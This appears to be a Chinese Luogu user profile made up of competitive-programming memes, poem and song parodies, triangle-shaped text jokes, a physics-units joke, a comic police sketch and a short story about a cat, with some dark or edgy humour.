-
个人简介
/gamemode creative
---->>我的洛谷<<----
不进后悔!
超级IKUN的蒟蒻的无敌网站!!!
好料太多了!!!
一定要看完啊!!!
最后还有彩蛋......
1.《哲学》
老师问:什么叫摔伤?
小明回:从楼上掉下来。
老师问:什么叫幸运?
小明回:楼下有个草堆。
老师问:什么叫不幸?
小明回:草堆上有个叉子。
老师问:什么叫希望?
小明回:没掉在叉子上。
老师问:什么叫绝望?
小明回:也没掉在草堆上。
老师问:什么叫多亏了?
小明回:掉在水里。
老师问:什么叫完蛋?
小明回:水里有鲨鱼。
老师问:什么叫幸好?
小明回:猎人在旁边一枪打中了鲨鱼。
老师问:什么叫结束?
小明回:猎人射的是散弹。
老师:什么叫上天眷顾?
小明:没射中你。
老师:什么叫大难临头?
小明:你不会游泳。
老师:什么叫万幸?
小明:你在浅水区。
老师:什么叫天要亡我?
小明:水里的海草缠住了脚。
老师:什么叫必有后福?
小明:海草一挣就断。
2.《学习用书》
第一阶段:
《信息学奥赛一本通》
《信息学分析讲义》
第二阶段:
《教你怎么不生气》
《佛经》
《老子》
《沉默的愤怒》
第三阶段:
《颈椎病康复指南》
《腰椎间盘突出日常护理》
《心脏病的预防与防治》
《高血压降压宝典》
《强迫症的自我恢复》
《精神病症状学》
第四阶段:
《活着》
第五阶段:
《复活》
3.《我会的事》
本人擅长Ai、Fw、Fl、Br、Ae、Pr、Id、Ps等软件的安装与卸载 精通CSS、JavaScript、PHP、ASP、C、C++、C#、Java、Ruby、Perl、Lisp、python、Objective-C、ActionScript、Pascal等语言单词的拼写 熟悉Windows、Linux、Mac、Android、IOS、WP8等系统的开关机。
4.《人生》
人生如此复杂,机会多得像稠密图,我们没理由认输。尽管我们走不了最短路,但图仍是连通图,TLE之前,没有一个节点叫失败。
人生就像动态规划,你的一个又一个阶段是由上天安排的,而你,决定的是在这一阶段可以由上一阶段的哪些状态转移而来。越勤奋,越幸运,并不代表这一次你决策的方向有多么优秀,而是代表着现在这个状态能够续写多少可能的结果。
即得易见平凡,由上自证显然,留作习题答案略,读者自证不难。
反之亦然同理,推论自然成立,略去过程Q.E.D.,由上可知证毕。
5.《代码决定人生》
如果26个英文字母 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
分别等于 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
那么
Knowledge (知识): K+N+O+W+L+E+D+G+E= 11+14+15+23+12+5+4+7+5=96%。
Workhard (努力工作):W+O+R+K+H+A+R+D= 23+15+18+11+8+1+18+4 =98%。
也就是说知识和努力工作对我们人生的影响可以达到96%和98%。
Luck(好运) L+U+C+K=12+21+3+11=47%。
Love(爱情) L+O+V+E=12+15+22+5=54%。
看来,这些我们通常认为重要的东西却并没起到最重要的作用。
那么,什么可以决定我们100%的人生呢?
是Money(金钱)吗?
M+O+N+E+Y=13+15+14+5+25=72%。
看来也不是。
是Leadership (领导能力)吗?
L+E+A+D+E+R+S+H+I+P=12+5+1+4+5+18+19+9+16=89%
还不是。
金钱,权力也不能完全决定我们的生活。那是什么呢?
其实,真正能使我们生活圆满的东西就在我们的代码里面!
IOSTREAM(输入输出流所在的头文件) =9+15+19+20+18+5+1+13=100%。
6.《做题方法》
暴力出奇迹,骗分过样例。
数学先打表,DP看运气。
穷举TLE,递推UKE。
模拟MLE,贪心还CE。
想要骗到分,就要有方法。
图论背模板,数论背公式。
动规背方程,高精背代码。
如果都没背,干脆输样例。
7.《满(题)江红 · 怒发冲冠》
怒发冲冠,凭栏处、潇潇雨歇。
抬望眼,满天UKE,怒火激烈。
三十WA尘与土,八千RE云和月。
莫抄袭,没了AC记录,空悲切!
CE耻,犹未雪。蒟蒻恨,何时灭!
驾电脑,踏破题目列表。
闭眼不会Hello world,笑谈不懂头文件。
待从头、收拾A+B,还不会。
8.《 OI OI千百事》
听说津津为课程烦恼 金明一家住进了新房
听说丁丁玩数字游戏 火柴棒能搭出新天地
听说校门外正在砍树 大家一起做靶形数独
听说旅行者在赚差价 潜伏者正在破译密码
只有无尽的代码知道 津津摆脱学习的烦恼
金明开心的走进商店 正在挑选书桌和电脑
总有一种算法能够 会让你成功地拿到满分
无论是贪心还是动规 或者将答案枚举二分
我思如泉涌掀起波涛 又汇成一个新的算法
让所有TLE、MLE 激励着我们前行写代码
听说玩具小人藏眼镜 许多导弹却早已逼近
听说两人在挑选客栈 火星上有了能量项链
听说陶陶在采摘苹果 一只青蛙要从河边过
听说推销员走入胡同 杰瑞爬进奶酪的小洞
只有无尽的代码知道 小人将眼镜藏进书架
拦截者沉着应对导弹 已经依次将导弹击打
总有一种算法能够 会让你成功地拿到满分
无论是贪心还是动规 或者将答案枚举二分
我思如泉涌掀起波涛 又汇成一个新的算法
让所有TLE、MLE 激励着我们前行写代码
总有一种暴力能够 会让你成功创造了奇迹
无论是搜索或者打表 又或者疯狂无脑枚举
我思如泉涌掀起波涛 又汇成一个新的算法
让所有TLE、MLE 激励着我们前行写代码
在AK的路上~
啊 ~ 啊 ~ 啊 ~ 啊 ~
然而——
模拟只会猜题意,贪心只能过样例;
数学上来先打表,DP一般看规律。
组合数学靠运气,计算几何瞎暴力;
图论强行套模板,数论只会GCD。
递归递推伤不起,搜索茫然TLE;
分治做得像枚举,暴力枚举数第一。
数据结构干瞪眼,怒刷水题找信心;
涨姿势也不容易,考试一来全懵逼!
听说同学们在玩推理 小Z的袜子总配不齐
小渊和小轩在传纸条,运输小队长过独木桥;
旅行家预算最小费用,明明迷上侦探和推理;
丁丁玩数字游戏着迷,陶陶兴高采烈摘苹果;
校门外一棵棵树长起,辰辰和师傅一起采药;
小青蛙踩着石头过河,老师带领同学玩游戏;
小渊的立体图摆放严,明明乱猜一堆随机数;
金明激动地装修新房,Jam用小写字母计数;
Mars星球有能量项链, 金明要购买主件附件;
Hanks培养细胞样本, 潜伏者专心破译密码;
Hankson出了趣味题,小城小华玩靶形数独;
小明在宝楼上开宝箱,也在花店门口摆排花;
使者学习了各国文化, Vigenere设计了密码;
国王邀请大臣领奖赏, 小A小B一起外出旅行;
守望者在荒岛上逃离,FJ在数字三角形上走;
笨小猴在选幸运单词,机器人尝试搬运重物;
小明自己玩数字游戏,教主把花园种一圈树;
奇怪的电梯上上下下,小明规划旅行的计划;
人们数来数去杀坏人,硬币做着无谓的翻转;
拱猪是扑克牌很有趣, 尤其是Peter的烟闪光;
FJ专心地给奶牛分厩, Tom研究双栈着迷;
FJ的奶牛掉进了陷阱,拦截系统拦截住导弹;
小Z找到了他的袜子,于是一秒AK无数机房。
总有一种算法能够 会让你成功地拿到满分
无论是贪心还是动规 或者将答案枚举二分
我思如泉涌掀起波涛 又汇成一个新的算法
让所有TLE、MLE 激励着我们前行写代码
总有一种暴力能够 会让你成功创造了奇迹
无论是搜索或者打表 又或者疯狂无脑枚举
我思如泉涌掀起波涛 又汇成一个新的算法
让所有TLE、MLE 激励着我们前行写代码
AKIOI了啊~
9.《AKIOI 时增强自信心的方法》
AC=Answer Coarse=粗劣的答案
WA=Wonderful Answer=好答案
TLE=Time Limit Enough=时间充裕
MLE=Memory Limit Enough=内存充裕
CE=Compile Easily=轻松通过编译
RE=Run Excellently=完美运行
UKE=Unbelievably Keep Enough Score=难以置信地保持足够的分数
AU=All Unaccepted=全都不正确
10.《看起来像一个三角形但最后一个字却是秀》
秀
天秀
陈独秀
蒂花之秀
造化钟神秀
拼命三郎石秀
维多利亚内衣秀
吾何时能及汝之秀
同福客栈李秀莲的秀
我滴龟龟你怎么这么秀
一顾倾人城叹你眉清目秀
蓦然回首没想到你如此内秀
社会主义接班人就数你最优秀
无论多少言语表达不了你秀
腾讯旗下黄钻绿钻QQ超秀
老太太都不服服你太秀
李云龙老婆秀芹的秀
求求你了不要再秀
米兰国际时装秀
湖南台真人秀
中国梦想秀
山清水秀
年代秀
刘秀
秀
11.《全世界人民把这些话顶成了三角形但是我还要顶顶出更多话可还是不够于是我比谁都难受所以我还要顶》
顶
要顶
必须顶
不得不顶
用尽全力顶
再加上千斤顶
总之把它顶到顶
接着使出葵花宝顶
就算顶到史前也要顶
老子看了会用道德经顶
孔子亲自拜你为师天天顶
秦始皇站在阿房宫上使劲顶
汉高祖挥师杀向东罗马为你顶
吕布抛弃了貂禅而选择了帮你顶
张三丰见了后用太极拳九式全力顶
左冷禅召开武林盟主大会商讨如何顶
西门吹雪从此学会了最强一招剑神一顶
龙剑飞的如来神掌最后一式改为万佛朝顶
陆小凤从此再也不管闲事了而专门来为你顶
四大名捕四面出击看天下还有没有人敢不在顶
黄飞鸿的宝芝林里从此多了一味药叫做吃了就顶
霍元甲其实根本就没有死因为他还想要努力帮你顶
蒋介石之所以秃了顶就是因为天天晚上在费力为你顶
希特勒消失在人们的视线当中其实是在暗地里不断地顶
爱因斯坦宁愿自已把相对论彻底的否定也要来为你顶一顶
萨达姆成了亡国奴可是一直到现在都没有屈服而在拼命的顶
本拉登在曼哈顿不小心放了两个大花炮现在只能躲起来为你顶
小泉这厮本来不想让他顶但他有这么厚脸也没办法只能让他也顶
特朗普调集了全球美军所有的战斧式巡航导弹向华盛顿发射来狂顶
阿扁的腿已吓得发颤大小便也已经失禁却还要硬着头皮说我就是要顶
外逃的贪官们已被抓回了一大批但还有一些心存侥幸的家伙在想办法顶
张艺谋为了表达心中对你的感慨而去专门拍了一部片子大红灯笼高高挂顶
超级女声的名头越来越响但实际上在她们内心的世界里只爱你一人只为你顶
姚明竭尽全力在总决赛第七场的最后一秒高高跳起不为了扣篮而是为了帮你顶
乔丹在篮球场上之所以这么伟大是因为他在多年前就预感到了伟大的你而为你顶
贝克汉姆在一场比赛里踢出了一百个香蕉球都被对手奋不顾身的往自家的球门里顶
国际乒联为了取悦于你而彻底的将乒乓球击球的规则由向前拍打改为只准用拍向前顶
全国人民代表大会所有委员一致通过将你的精神写进宪法让全国人民来一起来帮你狂顶
12.《请你坐下》
陈独秀同志,请你坐下,你这种行为挡住了旁边的李大钊同志发言,这让胡适同志很难受,令鲁迅同志很难堪,朱自清同志表示很尴尬,钱钟书和徐志摩同志已经在撸袖子了,所以,为了你的生命安全,请默默坐下,低调做人,你凳子上的钉子我已经给你拔掉了,凳子底下的地雷我也给你挖出来了,对面楼上的狙击手也被击毙了,下水道里的特务也被淹死了,现在能不能坐下来了?
13.《“学而时习之”新编》
吾日三省吾身,为变量而不初始化乎?与大数算而不long long乎?不写文件乎?
14.《清平乐·WA居》
时限超少,测评全凉凉。醉里疯狂砸电脑,复评再次凉凉。
大佬不惧考试,同学正切黑题。最喜我大蒟蒻,厕所水洗电脑。
15.《北冥有鱼》
北冥有鱼,其名为鲲。鲲之大,long long 存不下。
化而为鸟,其名为鹏。鹏之大,高精会爆炸。
16.《膜你抄》
屏幕在深夜微微发亮
思想在那虚树路径上彷徨
平面的向量交错生长
织成 忧伤的网
剪枝剪去我们的疯狂
SPFA告诉我前途在何方
01背包装下了忧伤
笑颜 洋溢脸庞
键盘微凉 鼠标微凉 指尖流淌 代码千行
凸包周长 直径多长 一进考场 全都忘光
你在OJ上提交了千百遍
却依然不能卡进那时限
双手敲尽代码也敲尽岁月
只有我一人 写的题解
凋零在OJ里面
tarjan陪伴强联通分量
生成树完成后思路才闪光
欧拉跑过的七桥古塘
让你 心驰神往
队列进出图上的方向
线段树区间修改求出总量
可持久留下的迹象
我们 俯身欣赏
数论算法 图论算法 高斯费马 树上开花
线性规划 动态规划 时间爆炸 如何优化
我在OI中辗转了千百天
却不让我看AK最后一眼
我用空间换回超限的时间
随重新编译 测完样例
才发现漏洞满篇
原来CE 是因选错语言
其实爆0 只因忘写文件
如果标算太难请坚定信念
不如回头再看一眼题面
以那暴力模拟向正解吊唁
蒟蒻的蜕变 神犇出现
终将与Au擦肩
屏幕在深夜微微发亮
我心在考场......
17.《君不见》
君不见,OI之题天上来,复杂到海不舍回。
君不见,高堂明镜悲白发,朝如青丝暮成雪。
人生WA须尽思,莫使电脑空对题。
天生我材没有用,千方百计还RE。
AC一点且为乐,会须一刷三百WA。
吾团友,牛大佬, 将刷题,手莫停!!!
与题做一遍,请系统为蒟蒻以测评。
天天WA不足贵,但愿长眠不复醒!!!
古来大佬皆刷题,惟有蒟蒻水水水。
站长昔时百AC,斗题十千恣欢谑。
主人何为言AC?径须沽取对君WA。
TLE、MLE,呼WA将出换AC,与君同销万古行!
18.《躲猫猫》
一群伟大的科学家死后在天堂里玩藏猫猫,轮到爱因斯坦抓人,他数到100睁开眼睛,看到所有人都藏起来了,只见伏特趴在不远处。
爱因斯坦走过去说:“伏特,我抓住你了。”
伏特说:“不,你没有抓到我。”
爱因斯坦:“你不是伏特你是谁?”
伏特:“你看我身下是什么?”
爱因斯坦低头看到在伏特身下,居然是安培!
伏特:“我身下是安培,我俩就是伏特/安培, 所以你抓住的不是我,你抓住的是欧姆!”
爱因斯坦反应迅速,于是改口喊,“欧姆,我抓住你了!”
可是伏特和安培毕竟是欧姆的好哥,于是,伏特和安培一个鱼跃站了起来,但是仍然紧紧抱在一起,爱因斯坦大惑~
他俩不紧不慢地说,现在,我们不再是欧姆,而是伏特×安培,变成瓦特了~
爱因斯坦觉得有道理,于是喊,那我终于抓到你了,瓦特!
这时候,瓦特躲在角落里慢慢悠悠地说:“你看他俩这样抱着已经有好几秒了,所以,你抓得不是瓦特,而是瓦特×秒。”
这时,他看到牛顿站在不远处,爱因斯坦于是跑过去说:“牛顿,我抓住你了。”
牛顿:“不,你没有抓到牛顿。”
爱因斯坦:“你不是牛顿你是谁?”
牛顿:“你看我脚下是什么?”
爱因斯坦低头看到牛顿站在一块长宽都是一米的正方形的地板砖上,不解。
牛顿:“我脚下这是一平方米的方块,我站在上面就是牛顿/平方米,所以你抓住的不是牛顿,你抓住的是帕斯卡。”
爱因斯坦倍受挫折,终于忍无可忍地爆发了,于是飞起一脚,踹在牛顿身上,把牛顿踹出了那块一平米的地板砖,然后吼道:“说!你还敢说你是帕斯卡?”
牛顿慢慢地从地上爬起来,说:“不,我已经不是帕斯卡了,你刚刚让我牛顿移动了一米的距离,所以,我现在也是焦耳了。”
焦耳这次学聪明了,一把扑到了阿伏伽德罗在自己身下,说:“你看,我现在是J/mol啦。”
正当爱因斯坦思考J/mol是什么东西的时候,亥姆霍兹和吉布斯这两个自由能吵了起来,都说是对方。为了不至于两败俱伤,他们一脚把开尔文踹到焦耳下面,把阿伏伽德罗顶了出来。
“看!”他俩说,“现在是J/K,是熵啦,要抓就抓克劳修斯吧!”
游戏继续。
这次是安培被爱因斯坦发现了,眼看安培就要被抓了,安培顺势往地上一躺,伸直身体对站在身边不远处的爱因斯坦说:“等等,我在你站的地方产生了磁场。”正当爱因斯坦在考虑该抓高斯还是特斯拉的时候,发现他俩一人找了一块地板砖抱着,说:“不麻烦你老了,我们现在是磁通量B·S,去找韦伯吧。”
等到爱因斯坦要抓住韦伯的时候,发现韦伯在 做深蹲。
爱因斯坦问:“你干嘛呢?”
韦伯回答说:“你没看到我一会儿变大,一会儿变小,我在产生感应电动势呢。”
这时伏特一下子慌了,一把抓住密立根的衣领,说:“你成天拿个油壶乱喷什么?”
“测定元电荷。”密立根回答道。
“太好了!”伏特一把抱住密立根说,“从现在起,我们就是eV,也就是焦耳。”
“靠,今天是邪了门啦”焦耳嘀咕道,于是一把把赫兹压在身下,说:“看,现在是E/v,是普朗克啦!”
普朗克也不是好惹的,他突然发现远处有个来自东方的老头在地上写下了22/7和355/113,很是得意,一打听此人姓祖,心里大喜,急忙跑过去,把这两个分数照抄了一遍,趴在这四个分数上面,对刚气喘嘘嘘赶来的爱因斯坦说:“看,我现在是h/4pi,”
“那又怎样?”爱因斯坦问。
“是我的好哥们海森堡教我的,说这样我就不是我了,有什么事尽管找他。”
“好,那他在哪里?”
“这个,还真说不准。”
爱因斯坦恼羞成怒,正准备对普朗克大打出手,普朗克却说:“等等,海森堡有个姓薛的好哥们,就躲在前面的箱子里。”
“这个箱子连通风口都没有。” 爱因斯坦问。
“这个就得你亲自去打开看看了。”
19.《学霸和学渣的区别》
上化学课,老师问:“学霸,怎样治疗胃酸过多?”
学霸起立,不假思索:“用碳酸氢钠。”
老师追问:“那怎样得到碳酸氢钠呢?”
学霸从容道:“ 将碳酸钠溶液,在碳化塔中通过二氧化碳碳化后,再经分离干燥得到。”
老师继续:“那怎样得到碳酸钠溶液呢?”
学霸愣了一下,但继续说: “用二氧化碳气体通氢氧化钠溶液,过滤得碳酸钠固体加水溶解得到溶液。 ”
老师不紧不慢地道:“那怎样得到氢氧化钠呢?”
学霸虎躯一震,结巴道:“将钠晶体放入适量水中制得。”
果然,老师就像是跟学霸扛上了,又曰:“那钠晶体从哪里来呢?”
学霸不以为然,答道:“钠晶体可以通过用熔融温度约为580 ℃的40%(质量分数)氯化钠和60%氯化钙的低共熔物再电解制得。”
老师笑眯眯的又问道:“那么氯化钠和氯化钙是怎么来的呢?”
学霸得意的冲老师一笑说:“氯化钠通过蒸发海水并提炼所得到的母卤制得,至于氯化钙,直接使用工业盐酸与开采出的大理石矿反应即可啊。”
老师不以为然的挑了一下眉毛,张口说:“那工业盐酸”
学霸直接打断了她的话:“令氯气在氢气中燃烧,而后通入水中制得。至于氯气,电解制金属钠的时候就已经反应出来了。至于氢气......”
学霸喘了口气,顿了顿,又说:“可以通过裂化石油气经过变压催化装置得来。所谓裂化石油气,就是使原油经过另一套变压催化装置,使重油裂化为烷烃和烯烃。”
“学霸,学习不能死学啊,要活学活用,回答太啰嗦复杂了。 ”老师叹了口气,道,“ 好好听别人是怎么回答的,来,学渣,别睡了,起来回答怎样治疗胃酸过多?”
学渣懒散地起来,眯了眯眼,说:“去药店买胃药。”
老师一脸笑容:“嗯,不错,继续睡吧。回答问题就是要这样,简单明了。学霸,你听懂了吗?”
学霸:“……”
20.《刑警大队完整版》
经过犯罪嫌疑人长达一个晚上的审问,王警官说出了刑警大队所有的秘密。
王警官与犯罪嫌疑人进行长达两个多小时的周旋,最终,二人被管理员赶下旋转木马。
经过一整晚的审讯,经验丰富的王警官收获颇丰,终于从犯罪嫌疑人郝某的口中得知,他有三处口腔溃疡与一处蛀牙。
案发现场惨不忍睹,杀人凶手的手法极其残忍,经验不丰富的实习警员小李已经是双腿发软,因为第一次执行任务的他万万没有想到,还要负责背着吓晕的王警官。
为了能尽快查出这起凶杀案的真凶,经验丰富的王警官考虑再三,决定赶紧退出不再掺手此案。
刑警大队的会议上,经验丰富的王警官对案件的分析十分详尽,配合他自己精心制作的PPT,分别从犯罪嫌疑人的作案手法,以及犯罪现场的盘查取证,与法医鉴定报告等多个方面,阐述了自己为什么破不了这个案子。
正当对犯罪现场侦查完毕将要离开之际,经验丰富的王警官突然发现了地上的一个烟头!要知道,根据死者家属的描述,死者生前并不抽烟。面对这个重大发现,他立即命令经验不丰富的实习警员小李对此展开调查。小李接到命令后说:这不是刚才你在这抽的吗?
经验丰富的王警官观察一番后说道:“门和窗都是从里面反锁的,而死者头破血流伤痕累累,显然不是自杀,所以,这无疑是一桩典型的密室杀人案!” 同行的几名年轻警员听完他的分析也是目瞪口呆,最后忍不住将他带离了车祸现场。
经验丰富的王警官咬了一口粽子,便立刻发觉味道不对!办案多年的他深知自己已与黑道势力结下怨恨,所以第一反应就是大事不妙,一定是自家的粽子会被人做了手脚。但他沉着冷静,仔细揣摩粽子味道的异常,终于发现其中的蹊跷,原来是吃的太着急忘了剥粽子叶。
向来配合默契的经验丰富的王警官与经验不丰富的实习警员小李却因观点不同发起了争执。王警官认为:死者虽然处于密闭环境,但身上缠有绷带,显然不是常规的密室杀人案,应该是重伤之后又被人放置于密室之中,但是小李却认为,王警官不应该在单位组织去埃及金字塔旅游是说这些有的没的。
面对法医的鉴定报告,王警官陷入了沉默,思考了很久才开口说话:“你写的啥几把字?”
看完尸验报告,王警官表情凝重,深深吸了一口烟说:“看来要找到真凶不是一件容易的事…因为死者已经隆胸有二十多年了…”
王警官像往常一样加班到深夜独自回家,半路被突然窜出来的一群人团团围住,并威胁他以后不要再掺手眼前这起他负责的凶杀案。而经验丰富的王警官对这种情况早就习以为常,他沉着冷静,呵呵一笑,还是毅然决然地拒绝了同事们的请求。
王警官来到犯罪嫌疑人家中的时候已经是人去楼空。但经验丰富的他没有立即出去追赶,二十走到床边,摸了摸被子,发现被子还是热的。这才会心一笑,放心地钻进被窝,愉快地睡了起来。
虽然为了尽早破获这起起手的案件,刑警大队已经几天几夜没有合眼,但还是没有什么进展。这是,幸好官及时出马,用他精彩的推理,使得大家睡了一个好觉。
起初,新来的年轻警员都不太理解,王警官去犯罪现场执行任务前为何总是会让助手帮他带上两个崭新的塑料袋。而经过几次合作后才终于发现其中的端倪,原来是因为王警官晕车。
为了能尽早得知凶手是谁,经验丰富的王警官加班后回到家里,都没顾得上休息一会儿,就有独自把自己关在书房里,迫不及待地看完了后半集的剧场版名侦探柯南。
王警官第一时间赶到犯罪现场,但是经过仔细盘查,并没有见到报案电话中群众所说的尸体。莫非是有人毁尸灭迹?王警官沉思片刻,便会心一笑,对同行的警员下令说:“给我追!尸体一定跑不远!”
面对复杂的卷宗,经验丰富的王警官表情凝重,一连抽了几包烟,不是咳嗽。经验不丰富的实习警员小李看不过去前去劝阻。王警官解释道:“放心我没事,多年破案的老毛病…不抽就没有灵感…”小李听后说:“虽然我经验没您丰富,但如果您真把我当朋友,就听我一句劝,别抽我的烟了行不?”
王警官与他饲养对年的警犬大壮配合十分默契,仅用半个小时不到,就把食堂的酱肘子吃的连骨头都不剩。
王警官带领队员闯入犯罪嫌疑人家中,经验丰富的他直奔卧室,摸了摸被子对大家说:“被窝还是热的!罪犯一定还没跑远!”话音刚落,就吓得罪犯钻出了被窝。
面对歹徒手中的水果刀,经验丰富的王警官早有准备,从容地拿出了水果。
面对法医的坚定报告,王警官会心一笑:呵呵,果然和自己之前料想的一样,还是看不懂。
正当案件一筹莫展时,法医的鉴定报告及时送到。看过之后,经验丰富的王警官顿时觉得这起难解的凶杀案变得简单了不少,因为他认为,破案可起码比他妈的认出法医的字容易多了。
王警官用坐井观天造句:我做警官天天都很开心。
听闻歹徒穷凶极恶,王警官坚持要带枪行动。但同行警员纷纷劝说他这样容易暴露行踪,最终王警官也只好作罢,不得不把祖传红缨枪留在了办公室里。
王警官接到了一个非常棘手的案子,已经用光了三瓶护手霜。
经验丰富的王警官与经验不丰富的实习经验小李,虽然合作时间不长,但二人的配合已经相当默契。就拿最近的这起凶杀案来说,他们仅用了不到两天的时间,就同时选择了放弃。
虽然罪犯显然是对案发现场进行过处理,但经过一番仔细侦查,经验丰富的王警官还是从一些蛛丝马迹中判断出,自己又去错了案发现场。
我市刑警大队有两人离奇失踪,机智的王警官进单位改名为“刑警一阝”,令人佩服。
经验丰富的王警官经过对案发现场的盘查后说:“你们有没有发现,这个案子与两个月钱朝阳区KTV包厢密室杀人案和一周前东城区电子厂跳楼案以及三天前的海淀区出租房碎尸案有个惊人的共同点。”经验不丰富的年轻警员恍然大悟:“您的意思是说这是一个连环杀人案?”王警官说:“不是,我的意思是说我都破不了。”
21.《美好的约定》
小猫有点懵,自己刚刚还在大街上晒着太阳,却被一个男人莫名其妙的抱了起来,抱回了他那所说的“家”中,被他抱进了那令我讨厌的地方,清洗了一下毛发,并抱着我来到了他所说的的“家”中。
“你清洗过的皮毛真好看,真白,真亮!”男人说。
哼,我本来就很好看。奇怪的人类。
“这样吧,你以后就叫‘面包’!”男人快乐的叫着,好像很开心的样子。
但我却十分不想取这个名字。‘面包’是什么?我不明白。
“喵呜”我叫了一声,表示反对。可那男人却说“你同意啦!”还抱着我转圈圈。我知道,我们猫听得懂你们人类的语言,但你们人类却听不懂我们的,所以我并没有太过生气。但,‘面包’这个名字真的有点太奇怪了。
那天,男人从抽屉里拿出了一条小鱼干,让我尝尝。我小心翼翼尝了尝,还挺美味的。只听他说:“以后这就是你的加餐喽!”
从此以后,我变衣食无忧了——那个男人每天都会给我开罐头吃,还有小鱼干吃。再也不用淋雨、忍饥挨饿了!
男人早出晚归,每天都有很多事情,而且他回家后都还会那出一个像笔记本的东西,打开来干事情。但我却根本不能理解他为什么要这么做,这个笔记本是什么。
每天我等在家门口,无非是想向你要一些小鱼干和罐头吃。要不是我己无法打开那些包装,我也不会等你回来。但他却说这是我对他的每天的期望,对他的喜欢。
呵,自作多情的人类!
有一天,男人早早就回来了,只见他脸红红的,像是有什么激动的事情似的。这时,他拿出了他说是‘手机’的东西,划了一下,声音立马变的尊敬。“嘿,你到哪了,我已经到家了!哦哦哦,那你快点哦,我已经准备好了!”说罢又拿起了手机划了一下。然后又匆匆的开始收拾那凌乱的房间。我不知道他刚刚是在和谁在打电话,只看见他匆匆收拾完后对我说:“面包,10分钟后会有一个对于我来说是一个十分重要的人,你一定要好好的表现哦!好好表现鱼干加倍哦!”
呵,虚假的人类!
不久后,一阵轻轻的敲门声响起了,男人轻轻巧巧的去开了门。只见进来的是一个美丽的女子。风度翩翩,很招人喜欢。当看到她的第一眼,我就信任了她,这比那个男人好多了。
他们坐在了沙发上,谈起了话,看起了电视。我想:还是要我出手!便假装不小心的把男人的笔记本碰掉了。只见他们两个同时弯下腰去捡笔记本,两个人的脸都红了……
那天,我分到了比平常多三倍的小鱼干。
两年后,他们两个人结婚了。他们带着我搬到了一个大一点的房子里。
又过了很长的一段时间,她肚子隆起了。
她这是吃了多少东西?我想。
在阳光明媚的一天里,我们家多加了一个小孩。
小孩总是烦人。每当我要喝水的时候,走到水旁,盛水的容器总是翻倒的。每次我都会想:一定要给我多一些小鱼干今天!
好在这情况2~3年后就没有了。那个小孩长大了,是个男孩儿。他慢慢懂事了。我也恢复了安宁。
但是,2~3年啊,这意味着我已经没有多长在这个世界的时间了。又过了6个月,我已经咀嚼不动小鱼干了!
时间没有留步,又过了3个月,我的身体状况越来越遭。我每天只会觉得在阳光下晒着就是最舒服的。
男人和他的妻子发现了我这一系列的症状,便带我去宠物医院检查,发现我是慢性肾脏衰竭!
知道情况后,我显得很平静,我早一般生死看淡了。但与我相比,那对夫妻却显得格外忧伤,甚至还做过祷告。
呵,脆弱的人类!
终于,在一个周末,我似乎感知到死亡离我不远了,便冲到男人和他的妻子的怀里。他们显然也根据我的反常表现推测了出来。哭的更伤心了。
男人说:“面包,你给我们留个暗号吧!如果你能重生,重生后还记得我们,就以这个暗号来相认吧!
呵,可爱的人类。
不知道是什么力量驱使着我,我跳上了餐桌,咬下了那白如纸一样的面包的一角,但还没等我回到他们的怀抱中,就倒下,慢慢停止了呼吸。
俩夫妇的眼泪瞬间夺眶而出。
在面包去世的2个月后,突然,一声声扣人心弦的敲门声传入了正在午休的俩夫妇的耳朵里。男人去开门,看到了一张既熟悉,又陌生的面孔。只见它的毛白如纸,毛发光亮,男人呆住了,这,不就是面包去世时给他留的暗号吗?
只见男人的泪水再次如雨一样涌出,把那只猫抱起,泪水如雨,洒了一地……
22.《墓兰诗》
唧唧复唧唧,木兰开飞机, 开的啥飞机?波音747。
问女何所思,问女何所忆。女亦有所思,没钱买飞机。 昨夜见军帖,要用轰炸机,飞机十二架,架架买不起。 阿爷无大钱,木兰无金银,愿去买钢铁,从此造飞机。 东市抢图纸,西市偷螺丝,南市盗玻璃,北市劫铁皮。
旦辞爷娘去,暮宿旧机库,不闻爹娘唤女声,但闻铁皮摩擦滋啦吸。 旦辞机库去,暮至军营旁,不闻爹娘唤女声,但闻将军大呼嘻嘻嘻。
万里开飞机,关山一下没。热气传机翼,日光照玻璃。 将军被吓死,壮士魂已飞。飞来撞天子,天子躺病床. 策勋十二转,赏赐俩耳光。可汗问所欲,木兰不愿进牢房;愿开747,飞着回故乡。
爹娘闻女来,端起机关枪;阿姊闻妹来,当户举手枪;小弟闻姊来,磨刀霍霍向爹娘。 开我机舱门,进我飞机舱,脱我战时袍,换上飞行装, 多装手榴弹,对外架机枪。 出门埋炸弹,亲友皆惊忙:离别十二年,不知木兰变猖狂。
疯子脚蹬地,呆子眼紧闭,两人并排走,谁能说我不正常?
23.《迷你总部被炸了》
迷你总部被炸了,据说是一个MC玩家干的,周围的人很努力的救火,大家试图用干草盖灭、汽油浇灭、可惜失败了,消防车没能赶到,据说是一个b站的司机开反了方向,MC玩家的警官倒很快赶到并迅速封锁了现场,没有放跑里面的一个人,很好的保护了现场。后来在废墟中翻出了一点骨灰就举行了葬礼,大家都很坚强没有哭,还有几个人忍不住笑出了声。在送骨灰的途中翻了车,骨灰撒了一地,刚要铲起来对面来了一辆洒水车全给冲入了下水道。全国都在关注着事件电视频道也不断插播这条新闻,但由于调音师的失误背景音乐一直是今天是个好日子。事后MC玩家的当事人一直申明自己是无心之举。为了表达悲伤家家户户都放起了鞭炮,一时间全国就好像过年一样。
24.《oi勇者》
都,会C E 的
你爆0 的代码,你的,题解,你的棕名
都,不必隐藏
你拷贝的博客,你的,极域,你的助手
他们说,用连点器,卡爆破烂测评机
他们说,要封了你的号,没有人爱棕名
为何C E ,不可,测评
人只有爆过0 ,才能歌颂
谁说被封禁的用户不算英雄
爱你提交while(1),爱你去卡测评机
爱你输出了样例,却还是爆 0
爱你天天去卡常,却还是TLE
爱你和我那么像,变量名一样
去吗,配吗,这WA掉的代码
交吗,交啊,以题解的代码 致那 OI 中的呜咽与怒吼
谁说 A K了的才能算英雄
他们说,要刷出一百分
但不要用二分
他们说,要贪心换DP
却只能过样例
那就让我,k掉,代码
你一样被棕名,那种高贵
谁说不能A C 的不算蒟蒻
爱你贪心过样例,爱你不肯写暴力
烦人的图论数论,变成进化论
爱你使用位运算,加上了快读快写
爱你和我那么像,上课都摸鱼
去吗,看吧,数组不会定义
为何,R E ,我少打了1个0
致那F Z O I 善良的朋友
谁说压行最短的才算英雄
你的C E ,与众不同
你的棕名,震耳欲聋
You Are FZ OIer
被我歌颂
